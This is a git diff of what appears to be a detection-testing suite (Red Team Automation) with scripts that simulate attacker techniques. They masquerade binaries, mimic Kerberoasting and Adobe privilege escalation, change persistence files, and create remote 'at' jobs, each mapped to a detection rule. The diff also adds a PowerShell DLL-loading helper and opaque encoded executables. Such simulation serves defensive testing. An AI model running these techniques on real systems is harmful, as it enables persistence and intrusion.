inspect.stack(): + self.path = Path(frame.filename) + self.name = self.path.name + if frame.function == "" and valid_rta_file(self.path): + break + + # check for valid platforms + if not self.platforms and (self.endpoint or self.siem): + raise ValueError(f"RTA {self.name} has no platforms specified but has rule info provided.") -def get_ttp_names(os_types: Optional[List[str]] = None) -> List[str]: - names = [] - for script in get_ttp_list(os_types): - basename = Path(script).stem - names.append(basename) - return names +def valid_rta_file(file_path: str) -> bool: + return file_path.stem not in ["init", "common", "main"] and not file_path.name.startswith("_") -__all__ = ( - "common" -) +def get_available_tests(print_list: bool = False, os_filter: str = None) -> Dict[str, dict]: + """Get a list of available tests.""" + + test_metadata = {} + + for file in CURRENT_DIR.rglob("*.py"): + + if valid_rta_file(file): + module = importlib.import_module(f"rta.{file.stem}") + + if os_filter and os_filter not in module.metadata.platforms and os_filter != "all": + continue + + test_metadata[file.stem] = asdict(module.metadata) + + if print_list: + longest_test_name = len(max(test_metadata.keys(), key=len)) + header = f"{'name':{longest_test_name}} | {'platforms':<30}" + + print("Printing available tests") + print(header) + print("=" * len(header)) + + for test in test_metadata.values(): + print(f"{test['name']:<{longest_test_name}} | {', '.join(test['platforms'])}") + + return test_metadata + + +__all__ = "common" diff --git a/rta/__main__.py b/rta/__main__.py index e0f1b508f..a73e0dd55 100644 --- a/rta/__main__.py +++ b/rta/__main__.py @@ -4,25 +4,27 @@ # 2.0. import argparse +import difflib import importlib import subprocess import sys import time from pathlib import Path -from . import get_ttp_list, get_ttp_names +from . import get_available_tests from .common import CURRENT_OS DELAY = 1 +RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] def run_all(): """Run a single RTA.""" errors = [] - for ttp_file in get_ttp_list(CURRENT_OS): + for ttp_file in get_available_tests(os_filter=CURRENT_OS): print(f"---- {Path(ttp_file).name} ----") - p = subprocess.Popen([sys.executable, ttp_file]) + p = subprocess.Popen([sys.executable, "-m", "rta", "-n", ttp_file]) p.wait() code = p.returncode @@ -37,25 +39,39 @@ def run_all(): def run(ttp_name: str, *args): """Run all RTAs compatible with OS.""" - if ttp_name not in get_ttp_names(): - raise ValueError(f"Unknown RTA {ttp_name}") + ttp_names = sorted(get_available_tests()) + if ttp_name not in ttp_names: + suggestion = ', '.join(difflib.get_close_matches(ttp_name, ttp_names, n=3)) + if suggestion: + suggestion = f"Did you mean {suggestion}?" + raise ValueError(f"Unknown RTA {ttp_name}. {suggestion}") module = importlib.import_module("rta." + ttp_name) return module.main(*args) -if __name__ == '__main__': +if __name__ == "__main__": parser = argparse.ArgumentParser("rta") - parser.add_argument("--ttp-name") + parser.add_argument("-n", "--name", dest="name", nargs='+', + help="Name(s) of test(s) to execute. E.g. bitsadmin_execution adobe_hijack") + parser.add_argument("-l", "--list", dest="list", action="store_true", help="Print a list of available tests") + parser.add_argument("-o", "--os-filter", dest="os_filter", default="all", choices=RTA_PLATFORM_TYPES, + help="Filter rule coverage summary by OS. (E.g. windows) Default: all",) parser.add_argument("--run-all", action="store_true") parser.add_argument("--delay", type=int, help="For run-all, the delay between executions") parsed_args, remaining = parser.parse_known_args() - if parsed_args.ttp_name and parsed_args.run_all: - raise ValueError(f"Pass --ttp-name or --run-all, not both") + if parsed_args.name: + if parsed_args.run_all: + raise ValueError(f"Pass ttp --name or --run-all, not both") + else: + for rta_test in parsed_args.name: + rta_name = Path(rta_test).stem + exit(run(rta_name, *remaining)) - if parsed_args.run_all: + elif parsed_args.list: + get_available_tests(print_list=True, os_filter=parsed_args.os_filter) + elif parsed_args.run_all: exit(run_all()) else: - rta_name = Path(parsed_args.run).stem - exit(run(rta_name, *remaining)) + print("Execute 'python -m rta -h' to see available options") diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py index f17327164..3499f58f8 100644 --- a/rta/adobe_hijack.py +++ b/rta/adobe_hijack.py @@ -11,9 +11,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="2df08481-31db-44a8-b01d-1c0df827bddb", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "2bf78aa2-9c56-48de-b139-f169bf99cf86", "rule_name": "Adobe Hijack Persistence"}], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) def main(): rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe") diff --git a/rta/adobe_priv_helper_tool.py b/rta/adobe_priv_helper_tool.py new file mode 100644 index 000000000..5de11a21a --- /dev/null +++ b/rta/adobe_priv_helper_tool.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e5d376ae-d634-41fa-903c-42f35736a615", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service", + "rule_id": "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7", + } + ], + techniques=["T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/com.adobe.ARMDC.SMJobBlessHelper" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake com.adobe.ARMDC.SMJobBlessHelper commands to adobe mimic privesc") + common.execute([masquerade, "childprocess", masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/app_bundler_execution.py b/rta/app_bundler_execution.py new file mode 100644 index 000000000..7f58655c6 --- /dev/null +++ b/rta/app_bundler_execution.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ea7c50ad-5736-48c7-bf39-50f708710826", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Script Execution via macOS Application Bundle", + "rule_id": "94a891a9-3771-4a8c-a6ca-82fa66cfd7e2", + } + ], + siem=[], + techniques=["T1553", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/launchd" + masquerade2 = "/tmp/bash" + masquerade3 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + common.create_macos_masquerade(masquerade3) + + # Execute command + common.log("Launching fake macOS application bundler commands") + command = f"{masquerade2} test.app/Contents/MacOS/test-psntest" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + common.execute([masquerade2, "childprocess", masquerade3], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py index 71dcabc87..2173bef06 100644 --- a/rta/appcompat_shim.py +++ b/rta/appcompat_shim.py @@ -11,11 +11,24 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a4a8608e-d94f-4eb1-b500-738328307bbc", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "fd4a992d-6130-4802-9ff8-829b89ae801f", "rule_name": "Potential Application Shimming via Sdbinst"} + ], + techniques=["T1546"], +) + SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SHIM_FILE) def main(): common.log("Application Compatibility Shims") diff --git a/rta/at_command.py b/rta/at_command.py index 083ad1bc7..f2f15cea6 100644 --- a/rta/at_command.py +++ b/rta/at_command.py @@ -14,44 +14,55 @@ import re import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="961d7a1f-7bad-41d5-a3d9-8e8a2f59a824", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(target_host=None): target_host = target_host or common.get_ip() - host_str = '\\\\%s' % target_host + host_str = "\\\\%s" % target_host # Current time at \\localhost is 11/16/2017 11:25:50 AM - code, output = common.execute(['net', 'time', host_str]) - match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output) + code, output = common.execute(["net", "time", host_str]) + match = re.search(r"Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)", output) groups = match.groups() m, d, y, hh, mm, ss, period = groups - now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss)) - if period == 'PM' and hh != '12': + now = datetime.datetime( + month=int(m), + day=int(d), + year=int(y), + hour=int(hh), + minute=int(mm), + second=int(ss), + ) + if period == "PM" and hh != "12": now += datetime.timedelta(hours=12) # Add one hour task_time = now + datetime.timedelta(hours=1) # Round down minutes - time_string = '%d:%d' % (task_time.hour, task_time.minute) + time_string = "%d:%d" % (task_time.hour, task_time.minute) # Enumerate all remote tasks - common.execute(['at.exe', host_str]) + common.execute(["at.exe", host_str]) # Create a job 1 hour into the future - code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world']) + code, output = common.execute(["at", host_str, time_string, "cmd /c echo hello world"]) - if code == 1 and 'deprecated' in output: + if code == 1 and "deprecated" in output: common.log("Unable to continue RTA. Not supported in this version of Windows") return common.UNSUPPORTED_RTA if code == 0: - job_id = re.search('ID = (\d+)', output).group(1) + job_id = re.search("ID = (\d+)", output).group(1) # Check status and delete - common.execute(['at.exe', host_str, job_id]) - common.execute(['at.exe', host_str, job_id, '/delete']) + common.execute(["at.exe", host_str, job_id]) + common.execute(["at.exe", host_str, job_id, "/delete"]) if __name__ == "__main__": diff --git a/rta/atom_init_coffee.py b/rta/atom_init_coffee.py new file mode 100644 index 000000000..59809c164 --- /dev/null +++ b/rta/atom_init_coffee.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="72c2470b-c96e-4b44-88ec-1a67c4ec091c", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Potential Persistence via Atom Init Script Modification", + "rule_id": "b4449455-f986-4b5a-82ed-e36b129331f7", + } + ], + techniques=["T1037"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + atom_dir = Path.home().joinpath(".atom") + atom_dir.mkdir(parents=True, exist_ok=True) + atom_path = atom_dir.joinpath("init.coffee") + common.log(f"Executing file modification on {atom_path} to mimic malicious Atom init file.") + common.temporary_file_helper("testing", file_name=atom_path) + + # cleanup + common.remove_directory(str(atom_dir)) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/auth_plugin.py b/rta/auth_plugin.py new file mode 100644 index 000000000..8007b6735 --- /dev/null +++ b/rta/auth_plugin.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="96c3cc10-7f86-428c-b353-e9de52472a96", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Authorization Plugin Modification", "rule_id": "e6c98d38-633d-4b3e-9387-42112cd5ac10"}], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.plist to mimic authorization plugin modification") + common.temporary_file_helper("testing", file_name="/Library/Security/SecurityAgentPlugins/test.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/automator_workflows.py b/rta/automator_workflows.py new file mode 100644 index 000000000..d5f8d7405 --- /dev/null +++ b/rta/automator_workflows.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6294e8bd-a82e-4d60-9de7-cceb639e91d9", + platforms=["macos"], + endpoint=[ + {"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "e390d36d-c739-43ee-9e3d-5a76fa853bd5"} + ], + siem=[{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "5d9f8cfc-0d03-443e-a167-2b0597ce0965"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/automator" + masquerade2 = "/tmp/com.apple.automator.runner" + common.create_macos_masquerade(masquerade) + common.copy_file("/usr/bin/curl", masquerade2) + + # Execute command + common.log("Launching fake commands to launch Automator workflows") + common.execute([masquerade], timeout=10, kill=True) + common.execute([masquerade2, "portquiz.net"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/bifrost_attack.py b/rta/bifrost_attack.py new file mode 100644 index 000000000..9d3affeee --- /dev/null +++ b/rta/bifrost_attack.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="057f2c1b-28cc-4286-92ce-75e789aa8e74", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "fecebe4f-2d28-46e7-9bc1-71cdd8ecdd60"} + ], + siem=[{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "16904215-2c95-4ac8-bf5c-12354e047192"}], + techniques=["T1558", "T1550"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bifrost" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake bifrost attack with kerberoast commands") + common.execute([masquerade, "-action", "-kerberoast"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/bin/DoublePersist.exe b/rta/bin/DoublePersist.exe new file mode 100644 index 0000000000000000000000000000000000000000..ba33e75633084824e41b5248fb257a4bcbfaeb52 GIT binary patch literal 4608 zcmeHKU2I%O75?sey|y>a(m3v)63Tef2ou%UPHl-KvYU0*cCw9KFJAvh)S|h&JGL*q zKg-;^j<*t#CH}+<3Zj)No(d8YQXT*aiHaYEM_&5IBSLwGhw{J+RBHKV?ykM-1PD)k zptGJcbIzPO^PMv@XRepOd>4HH(ySkU47|rymx7`HnH+F9_qku^@XMk1N8huS-XC4t zbtBPG;f`{AQFDSIj73!n)eM9ii20R@@WZ;aPoB)a&^BFO0G6yieCNZrtDV&zAZ4Af zP5^_H=*sfF&yxt&0;?v1O)A07p24qM9I#TZOCJi~0-iK~M{S!;R4_xkE4p6*{-%R) zyxanwI4*k}UK~O<+Joe8bj`D4xgV2%Yk-7f#?Llxa;6C2maQUHBWJJ`*vYVFS-VPs z=xrsvkctNDEe>j1biKP2fNR~n?l*K?Sv0m3`f+xYaJYs=o>i~*Kb13+efTM7aPBE6 z(nj_U&sSCrvHMKO2xm_WWRxTq_G?d6$ZkfZEi}fsT6T;9$zmWAa^pEVLV0G4liLHI z9i#JEbx*5n=@Wy=guyYMm+VR4&%;9_A6ci-tCv^b7ds`6)b| z?1SD@j+shersYxwnQpZ|Nt?k%T;QhFP$d0^q4)7K_Wxk$-_2;s(mI0l9A4za3|6fh zRtB4fx|HjZSWNtX5@#vtr_4fG=+W=vl38_RRCC{cb{08~ox&_b_#9~tqxd79!58oV zXGs5wJh6R-*7#tDpKvaH5nlhII$ZBtI~7!O)r{@c?hb_SfV{q zt8u96dT!i08ts9FWw)lnDBOz;jpdRXNX$!5#xl`e2=-hR20rbf(vUUR@fJg`PRrM2 zob<|0yxR#vX$6aP-ViP$9UnzfdRdxxqed7xj4_gKXCYu<6>HpKyjEeJU1Wcg+$t8Z zg=M%rsR|+QUWjePlx7eN@HxWRg}9N4>-EY(Eu1)qdej`4t`KH z$_^PxGlD7-J9vY%g)8K5@DLSwptksX7}BFbJq+u=0qa21tKc&N<6OA|(mHs1o^U+Y zUXV8pNbyO*JiTS`=s4O$vd@awj)!xbvDe6j*#SY_UBl^F4nrSvM;b=5O%0D*pm$6M zUi;c(d;EA5I<_CF%`1J&`Nxl6`AK={-pwDr_2z|pzrf(H-rU-FZu-G@nP{y(0V^#m zYp^df{8UDyhM&r%`bEmhoz0*x$C8F+<+MhwA1U%oXSq}7Nr%UCLj(OeP8c3f4O;C_ zj^}lgWM? zS>G)HTl#V9lp^q#WY|cyQqycVcvW8~UEp=Dpu|k_D)|!WV)FHd-=#nJsPkrZOzHM& zo6#>smsum7H?j?LZWr6d&W*0f9!8EEp-Qm60 z->-so$*i@~mg^|!wK{Ro+~cn~ZTu|LR><7ZWIT>%{fB+MWai8feMGFj@v22+$D?!< zA04ZteDIt5GgtS0PweTBgD{xQU$iIlLI$<4&hNO{{QBDB_@%svVkf9OUKq&Pd`m|8 zt1q9-&Nxvd{i@dzG!R6y`KAi4M73S%JJGn`dCkXbp?}4Re0%R=UiePnZp$d%=w6Mc zgg7)-s`EYOXF?Ames~g9;P_mAxi!~lcrM>};s35n64Y5+%RZBu-f`D|e5t{*H_u)9O^ms$e;?!<1KRYQ#%&PkO@BbT;oqrC=|7 zL#n)Jx^p#tQZbC%ju*+cQ^v@|BhYl9PxN4)nK%pr6=o(nJ4B|v;h#3W5fI7$Hg~_+ MEB=)G|A@f900v2mBme*a literal 0 HcmV?d00001 diff --git a/rta/bin/Invoke-ImageLoad.ps1 b/rta/bin/Invoke-ImageLoad.ps1 new file mode 100644 index 000000000..e11e1d195 --- /dev/null +++ b/rta/bin/Invoke-ImageLoad.ps1 @@ -0,0 +1,27 @@ +function Invoke-ImageLoad { + + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String] + $DllPath + ) + + $type=@" + using System; + using System.Runtime.InteropServices; + public class ImportIt + { + public const string DLLPath = @"$DLLPath"; + [DllImport(DLLPath, EntryPoint = "GetClassNameW", CharSet = CharSet.Unicode)] + public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type); + + public static void Main() + { + MessageBox(new IntPtr(0), "Hello RTA!", "Hello Dialog", 0); + } + } +"@ + Add-Type -TypeDefinition $type; + [ImportIt]::Main(); +} \ No newline at end of file diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py index e56d61909..72ea1f6e2 100644 --- a/rta/bin/__init__.py +++ b/rta/bin/__init__.py @@ -2,4 +2,3 @@ # or more contributor license agreements. Licensed under the Elastic License # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. - diff --git a/rta/bin/com.apple.ditto_and_spawn_arm b/rta/bin/com.apple.ditto_and_spawn_arm new file mode 100755 index 0000000000000000000000000000000000000000..288756d22ed124343d1b8a159f36a01e09f3e612 GIT binary patch literal 33722 zcmeI5ZETc95Xa~4X|bgZEl^RZ(h~!z1Y0Z`jG^UtX()=6mj-FxSC+)SlyFzOb zP6(oc!1+>1Fs2v?ZKH`ANLmx5rimXk1~CyDjZH(q6trSO3@upefA)C}o*p6z`f(zV_i=YmTMhYxVA>yBjdFv*F|Q3oVCL@Vt*fxsBIs_;ThQPpHqPJVR-bXv_Y{A(0n3QB1%Q1c*9=@xkYfZZq zBQ2HvMrs?qYl!pE>)&QFe8O4-`z{zM zZ5*SO`C%P8PQ4jt8sg+8(;&{e>ioGs=g%>JMgGl*cK~De3=hA{40$~>(Dz>C#e1mp zWA3*(Z`Mub)j1w1irs0o<7n-2J4c**{W#MJCeEBwx<1NQA8o6TvDL@f>J!Ymi@cSA zDqn4=#_JDu$V^?v8uRI|&@PK)^8xng=a{E`hE=AEi_{ z67qT?%3HafRJEt7s>VyIHWUa(){<_kuGM9gKZsJlO^$I6g)1oxRb8q4^?q+%#IGv- z9-lu%dET08+=t-jI})g%+7k%UEWW+Kpza2I&Nk}Ax*K-sD-HOQ;lQm85MJK|Xa*{L zR|4A)ST?_-&Njb$j*_cdX5nkM`C0|Ly)eNpO|Vxb*nGbNv*mjg_`SW~%NTf!2f<6`I%P^EDR82;4$K}YJm4`e{!Sv1j2aSQNTeALW zoOp5P_L-ec{huHHXv>G6me+iFer;#c>60hdJ4?%xhc_MB^y2m(j_oXYZTc(HJo+(J%HuUueCw4d0ul(Xz{poS8 HsSp1RKPhVm literal 0 HcmV?d00001 diff --git a/rta/bin/com.apple.ditto_and_spawn_intel b/rta/bin/com.apple.ditto_and_spawn_intel new file mode 100755 index 0000000000000000000000000000000000000000..4a54ba4445686956218d72c00f954c6032854679 GIT binary patch literal 49712 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 XcmICo$F0Zy$UM1VO#1g8+f(&7Hkp`u literal 0 HcmV?d00001 diff --git a/rta/bin/com.apple.sleep_intel b/rta/bin/com.apple.sleep_intel new file mode 100755 index 0000000000000000000000000000000000000000..a21dddc9aa92f3ef8e3bbeb7d2b6e81b828eccc2 GIT binary patch literal 49512 zcmeI*&u<$=6u|MxuVO*fx*(wd1>9EQM-NFs9Jn-fN-bQdnnHq9fnc!XO>D_tTi!J! zhe$?I4^b49V-EChpcn3`K)1|vE)w67#xrkb_U+7P z?c7%R>F>Y(dBT{1A!E#-)U?#=BgWh?8R;4GoYcHjYp+ecoBKHT;k1tSmVw^zp^@hK zMHX5+o4Y>SyCk|k+dF3BShix4sw=Dwy~R*_uJq??Ps(9r>SjEz@o?OanqkxK4y_Hs zRx#)d_2+x(g3I@GydsH{3sP~uBk_RCXUkr-;WcHfKi|1H-*~)UV|DM8L;ITx!e+%^ zh!^zd`z+3PEuPo7yY%Fi32R&amleNcEB<^vihG~OtvH`Pb1fS8=WsLbQ=jXmRBJCy z%}&{OrmxPpr<-+d$#d*)_4}q(pOt>+tX-&gJ=RC&OUc@(WZm^~WYk~tB}MnOE!FKS z8I`u(w=apKl66h8ujI_uRtq**suk;1+X$PF%s1*TkMei#Lw;L5-#=?hg|Lt;KD@ut zw%cEFPK~?s9bD;p2fxoNm#@B`yL37EZEf|PQ(`UU=*Q;f;%+p4T6TU;dt1iny;IV5 z&LnY0;@70jORMYDN9WrT>lxFxoZ5I_I{1Q0*~0R#|0009ILKmY**5I_I{1Q0*~0R#|0009ILKmY** z5I_I{1Q0*~0R#|0009ILKmY**5I_I{1Q0;rzbx=ke)W(1%Kh}6+@5Z8b@@SlwY9sl z{9y3-jR_gZujO|0YmHQX{rtBQ-ZI;MXLK>O{fS<4XZv$$cJ$57=)$j`m!4d(DUDok zUK&ZiFJ|WNG{jp!8&)?+p%KD4HOEWdI zKX%&~vr(20v-79qF6*nJJNLAw_uu(hdNWneYskynnfZD%GZth5Z?5i_g7GKKY`vbT z75t@4p}Ekid44F9twy6-@k%l~?R%YxjJMeE=E7*)z0Z15?G^Qv#ZrsKC^C3LUFN{4~~0tg_000IagfB*srAbf~w~=Brs;cnh`T-Yh~*#dULJNvt_TK zX-?G&72k{v%970#0z!v(}2A p&LRIlsGV*l(GZaRkbjNGT{=YSlHjnk4pbBDvh~uc`U7anSgC__TipNv literal 0 HcmV?d00001 diff --git a/rta/bin/linux.ditto_and_spawn b/rta/bin/linux.ditto_and_spawn new file mode 100755 index 0000000000000000000000000000000000000000..ad3bfb9c3a21da029eec4ac8db061b6f85d63449 GIT binary patch literal 16912 zcmeHOZ){uD6~B&~HZ85=mX?KX z_u>rg%l2XKM)tYqcmCXS&%N*EUB7$pi*&SAc|3xPSA10vcfxNXAte~yp(-FDv0Yq( z?<>XU#bWS_BxcG(CV|u}y;XKvqi`=M+5Je#o%9N&$CM)^N_GpCV-yeyQ=$4ncGV?&yfNOQ>z_?Qf!c7QEax;KGp95McIy6vYS{O~v!_WBUv>#OMEtHo!6+cte zUD23Ic5S<^F%@q}B{Tg44FlV^HEg>sn9l~c$bOT5(%rMKQ$|9=$*HB7SK~t%$zNG? zV%Ny?pPcnP`_$Ph9)0vH@Bie!CrS4be8`8{ulrFmF`};~ewQY?Q0amoP(io~7=4`O zivTL&6hkGP@?Qz3=}`&)7VrQ*&T=_`O8S8X@Dbo7bCw{0tDPY67^fHw%Qn%MOJ2BLa*G80WDk0zur-3OGM=y@ZWGxT&cnGt(B z+FN$(TY_7HTZP_!Xs;emseioeBB*eX$oc>cu3&~LZ+PcnSXPaiPK!8_P9)0 zaCyH{f}#aq!pfjC7JQinpS9pLr?}LG%o_Qi9&-tV%o^e9Rw#jb3(nU*37Rap^**rO zf^(lqKV-p?P`9`la5La$z|DZ00XG9~2HXt%k20VQy;q|RSHIPWrQh)}qpCEa4ZT=% zsvJ#e>)Q~OHlD$E?fMXE#P^bXda8u7@lV9lBkc5q!vT>5+2!XOe$` zczTqaJ|X#E5>Jo1)1#8_0^dCfUY5;&Z7;lfyH0uL*J$VPH979m~$ATtq-iAe2o`h|Fl#( zK304DL9>ITfjA&~8RK&&lw`ZbC!vPq$nZC#)3)%ZWLErurPcnjRT5T1$PgquBk$ca zt_^oi4Mz~o>uC9YGb=NQYlb5EGL+xlr$*r2&uZkICShxAlwd+Mk 